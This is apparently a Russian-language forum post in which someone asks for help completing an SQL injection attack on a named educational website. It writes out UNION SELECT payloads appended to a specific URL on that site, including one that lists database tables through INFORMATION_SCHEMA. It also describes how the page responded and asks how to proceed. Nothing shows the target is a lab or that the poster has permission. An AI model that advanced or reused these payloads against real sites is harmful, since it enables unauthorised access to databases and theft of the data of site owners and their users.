↑
Помогите доделать инъекцию сайта:
http://worldwidestudies.org/ua/step/item/id/1
Вот что мне удалось проделать:
http://worldwidestudies.org/ua/step/item/id/9999999 UNION SELECT 1,2,3,4,5,6,7 --
Но никакие цифры не отображаются на сайте, но увидел что вместо "01 Вибір програми" отображается "
{number} {title}
", пробую писать следующее:
http://worldwidestudies.org/ua/step/item/id/9999999 UNION SELECT TABLE_NAME,2,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES --
но сайт отображается как и раньше, вот и застрял на етом етапе, что делать не знаю, может здесь нет инъекции? А если есть, подскажите в каком направлении двигатся.